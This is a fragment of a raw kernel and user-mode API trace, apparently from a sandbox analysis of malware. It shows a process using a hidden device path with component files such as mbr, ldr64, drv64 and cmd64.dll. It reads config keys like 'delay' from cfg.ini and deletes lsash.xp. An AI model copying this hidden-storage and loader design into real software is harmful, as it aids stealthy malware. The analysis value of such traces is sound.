(in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.241] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.241] IdePortDispatch () returned 0x103 [0121.241] KeWaitForMutexObject () returned 0x0 [0121.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.241] KeLeaveCriticalRegion () [0121.241] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.241] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.241] KeEnterCriticalRegion () [0121.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.241] KeLeaveCriticalRegion () [0121.242] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.242] KeEnterCriticalRegion () [0121.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.242] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.242] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.242] KeLeaveCriticalRegion () [0121.242] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.242] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.242] KeEnterCriticalRegion () [0121.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.242] ExFreePoolWithTag (P=0xfffffa8003bc3aa0, Tag=0x0) [0121.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.242] KeLeaveCriticalRegion () [0121.242] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.242] ReleaseMutex (hMutex=0xf0) returned 1 [0121.242] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.242] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.242] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.242] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.242] KeEnterCriticalRegion () [0121.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.242] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.242] IdePortDispatch () returned 0x103 [0121.242] KeWaitForMutexObject () returned 0x0 [0121.242] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.242] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.242] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.242] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.242] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.242] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.242] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.242] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.243] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.243] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.243] KeLeaveCriticalRegion () [0121.243] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.243] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.243] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.243] KeEnterCriticalRegion () [0121.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.243] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.243] IdePortDispatch () returned 0x103 [0121.243] KeWaitForMutexObject () returned 0x0 [0121.243] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.243] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.243] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.243] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.243] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.243] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.243] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.243] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.243] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.243] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.243] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.243] KeLeaveCriticalRegion () [0121.243] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.243] ReleaseMutex (hMutex=0x100) returned 1 [0121.243] Sleep (dwMilliseconds=0x2bf20) [0121.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b78b7b0, dwHighDateTime=0x1d24fa4)) [0121.251] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.251] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.251] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.251] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.251] KeEnterCriticalRegion () [0121.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.251] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.251] IdePortDispatch () returned 0x103 [0121.251] KeWaitForMutexObject () returned 0x0 [0121.251] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.251] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.251] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.251] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.251] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.251] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe140 [0121.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.251] KeLeaveCriticalRegion () [0121.251] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.251] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.251] KeEnterCriticalRegion () [0121.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.251] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.252] KeLeaveCriticalRegion () [0121.252] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.252] KeEnterCriticalRegion () [0121.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.252] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.252] IdePortDispatch () returned 0x103 [0121.252] KeWaitForMutexObject () returned 0x0 [0121.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.252] KeLeaveCriticalRegion () [0121.252] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.252] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.252] KeEnterCriticalRegion () [0121.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e4000 [0121.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.252] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.252] IdePortDispatch () returned 0x103 [0121.252] KeWaitForMutexObject () returned 0x0 [0121.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.252] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.252] IdePortDispatch () returned 0x103 [0121.253] KeWaitForMutexObject () returned 0x0 [0121.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.253] KeLeaveCriticalRegion () [0121.253] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.253] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.253] KeEnterCriticalRegion () [0121.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.253] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.253] KeLeaveCriticalRegion () [0121.253] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.253] KeEnterCriticalRegion () [0121.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.253] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.253] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.253] KeLeaveCriticalRegion () [0121.253] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.253] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.253] KeEnterCriticalRegion () [0121.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.254] ExFreePoolWithTag (P=0xfffffa8003bbe140, Tag=0x0) [0121.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.254] KeLeaveCriticalRegion () [0121.254] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.254] ReleaseMutex (hMutex=0xf0) returned 1 [0121.254] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.254] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.254] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.254] KeEnterCriticalRegion () [0121.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.254] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.254] IdePortDispatch () returned 0x103 [0121.254] KeWaitForMutexObject () returned 0x0 [0121.254] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.254] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.254] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.254] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.254] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.254] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba4b0 [0121.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.254] KeLeaveCriticalRegion () [0121.254] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.254] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.254] KeEnterCriticalRegion () [0121.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.254] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.254] KeLeaveCriticalRegion () [0121.254] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.254] KeEnterCriticalRegion () [0121.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.254] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.254] IdePortDispatch () returned 0x103 [0121.255] KeWaitForMutexObject () returned 0x0 [0121.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.255] KeLeaveCriticalRegion () [0121.255] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.255] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.255] KeEnterCriticalRegion () [0121.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e5000 [0121.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.255] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.255] IdePortDispatch () returned 0x103 [0121.255] KeWaitForMutexObject () returned 0x0 [0121.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.255] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.255] IdePortDispatch () returned 0x103 [0121.255] KeWaitForMutexObject () returned 0x0 [0121.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.256] KeLeaveCriticalRegion () [0121.256] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.256] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.256] KeEnterCriticalRegion () [0121.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.256] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.256] KeLeaveCriticalRegion () [0121.256] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.256] KeEnterCriticalRegion () [0121.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.256] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.256] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.256] KeLeaveCriticalRegion () [0121.256] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.256] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.256] KeEnterCriticalRegion () [0121.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.256] ExFreePoolWithTag (P=0xfffffa8003bba4b0, Tag=0x0) [0121.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.256] KeLeaveCriticalRegion () [0121.256] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.256] ReleaseMutex (hMutex=0xf0) returned 1 [0121.256] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.256] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.256] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.257] KeEnterCriticalRegion () [0121.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.257] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.257] IdePortDispatch () returned 0x103 [0121.257] KeWaitForMutexObject () returned 0x0 [0121.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.257] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.257] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.257] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.257] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.257] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4f10 [0121.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.257] KeLeaveCriticalRegion () [0121.257] IofCompleteRequest 